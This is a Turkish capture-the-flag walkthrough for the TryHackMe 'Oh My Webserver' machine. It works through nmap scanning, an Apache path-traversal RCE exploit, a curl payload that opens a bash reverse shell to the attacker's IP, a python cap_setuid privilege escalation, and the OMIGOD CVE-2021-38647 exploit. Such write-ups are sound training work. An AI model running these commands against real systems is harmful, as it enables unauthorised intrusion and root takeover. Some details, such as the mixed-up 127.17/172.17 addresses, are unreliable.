Merhabalar bu yazımızda TryHackMe Oh My WebServer Çözümü çözümünü paylaştım.
- Makine İsmi: Oh My Webserver
- Zorluk: Orta
- Makine Linki: Tryhackme
1- İlk olarak nmap taraması yapacağım.
Detaylı ve hızlı port taramasına, -p- parametresi ile bütün portları taramasını istiyorum. -T5 ile hızlı taramasını, -sV port versiyonlarını ve -sC scriptleri kullanmasını istiyorum.
Baktığımda Apache 80.port versiyonu zafiyetli ve eski buradan devam edebiliriz.
2- Searchsploit üzerinden araştırıyorum 80.port versiyonuna uygun bir tane exploit buldum. Bash dili ile yazılmış exploiti kullanabiliriz.
3- searchsploit -m multiple/webapps/50383.sh yazarak indirmeye başladım ve direkt root dizinine inmiş oldu.
İlginizi çekebilecek yazımız: Google, Aktif Olarak Kullanılan Zeroday Açığını Düzeltti!
4- Açıp detaylı olarak kodları incelemeye başlıyorum. Dikkatli baktığımızda kullanıcı dizinlerini ve sunucuda kayıtlı kişinin ismini öğrenebiliriz. Exploiti kullanmak için diğer adıma geçiyorum.
5-
- echo “hedef makine ip adresi” > hedefsite.txt
- chmod -R 777 50383.sh
- ./50383.sh hedefsite.txt /bin/sh whoami
yazdık ve kullanıcının isminin daemon olduğunu tespit ettik.
6- ncat -lvnp 9001 yazarak geri bağlantıyı bekleme başlıyorum.
Exploit üzerinden buraya reverse shell almaya çalışacağız.
7- Aşağıda ki ilk kısma hedef makine ip adresinizi yazın, sonra ki alana şahsi tryhackme’ye bağlandığınız openvpn ip adresini yazın ve enter yapın ve beklemeye başlayın biraz uzun sürebilir.
curl ‘http://hedefmakineipadresi/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash’ -d ‘echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/vpn ip adresiniz/9001 0>&1’ -H “Content-Type: text/plain”
8- Vee evet bağlantı direkt terminale geldi.
Docker olduğunu tespit ettim ve getcap ile detaylı olarak araştırma yapıyorum.
getcap -r / 2>/dev/null
Karşımıza python 3.7 olarak çıktı buradan yetki yükseltebiliriz.
9- Gtfobins sitesine gittim ve python üzerinden yetki yükseltmeleri inceliyorum.
Karşıma cap_Setuıd olarak kullanabileceğimiz yetki yükseltmeyi buldum, terminale gelip deniyorum.
10-
yazdık ve 1 dk bekliyoruz. Daha sonra bash -i yaptık ve evet direkt olarak root içerisini okuma yetkisini verdi.python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Öncelikle user.txt bayrağını araştırdım ama bulamamıştım daha sonra makine içerisinde root dizinin içerisine gizlendiğini tespit ettim.
Direkt user.txt artık okuyabiliriz.
11- Evet direkt baktığımda root dizinin içerisine bir şey bulamadım. Sadece user.txt ilk bayrağı tespit etmiş olduk.
12- Bu adrese giderek nmap’i kendi terminelinize root dizinine indiriyoruz. Ya da wget komutu ile de hızlıca indirebilirsiniz.
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
13- python3 -m http.server 8000 yazarak http sunucusunu aktif ettim. Artık Openvpn ip adresimize giderek oradan direkt hedef makineye nmap’i kurabiliriz.
Hedef makinede git clone ve wget gibi komutlar çalışmıyor bu nedenle curl ile indireceğiz.
- 14- curl http://kendi vpn adresiniz:8000/nmap -o /tmp/nmap
- chmod +x nmap
- ./nmap
yazarak direkt nmap kurduk ve sorunsuz olarak çalışıyor.
15- ifconfig yazarak bağlı ip adreslerini gördük ve docker olduğu için alt kısımda ki ip adresinin portlarını tespit etmemiz gerekiyor. Asıl ip adresi hedefimiz 172.17.0.1 ve 127.17.0.2 gibi bakmamız lazım.
16- ./nmap 127.17.0.1 -p- -T5 diyerek hızlıca tüm portları taramasını istedim.
Karşımıza 3 portun açık olduğunu belirtti, detaylı araştırmada 5986 portta versiyon açığı olduğunu tespit ettim portu exploit yaparak bayrağı bulabiliriz. Ohmıgod servicesini sömürmemiz gerekiyor.
17- Aşağıdaki linke gidip CVE-2021-38647.py root dizinine indiriyoruz.
curl kendimakineipadresim:8000/CVE-2021-38647.py diyerek direkt olarak kendi makinemiz içerisinden hedef makine exploiti indirmiş olduk.
https://github.com/AlteredSecurity/CVE-2021-38647/blob/main/CVE-2021-38647.py
18- python3 CVE-2021-38647.py -t 172.17.0.1 -c ‘whoami;pwd;id;hostname;uname -a;cat /root/root.txt;’
yazdık ve direkt flag karşımıza tam yetkili root olarak makineyi ele geçirmiş olduk.
Oh My WebServer Çözümü sonuna geldik. Yeni yazılarda görüşmek üzere, sağlıcakla kalın..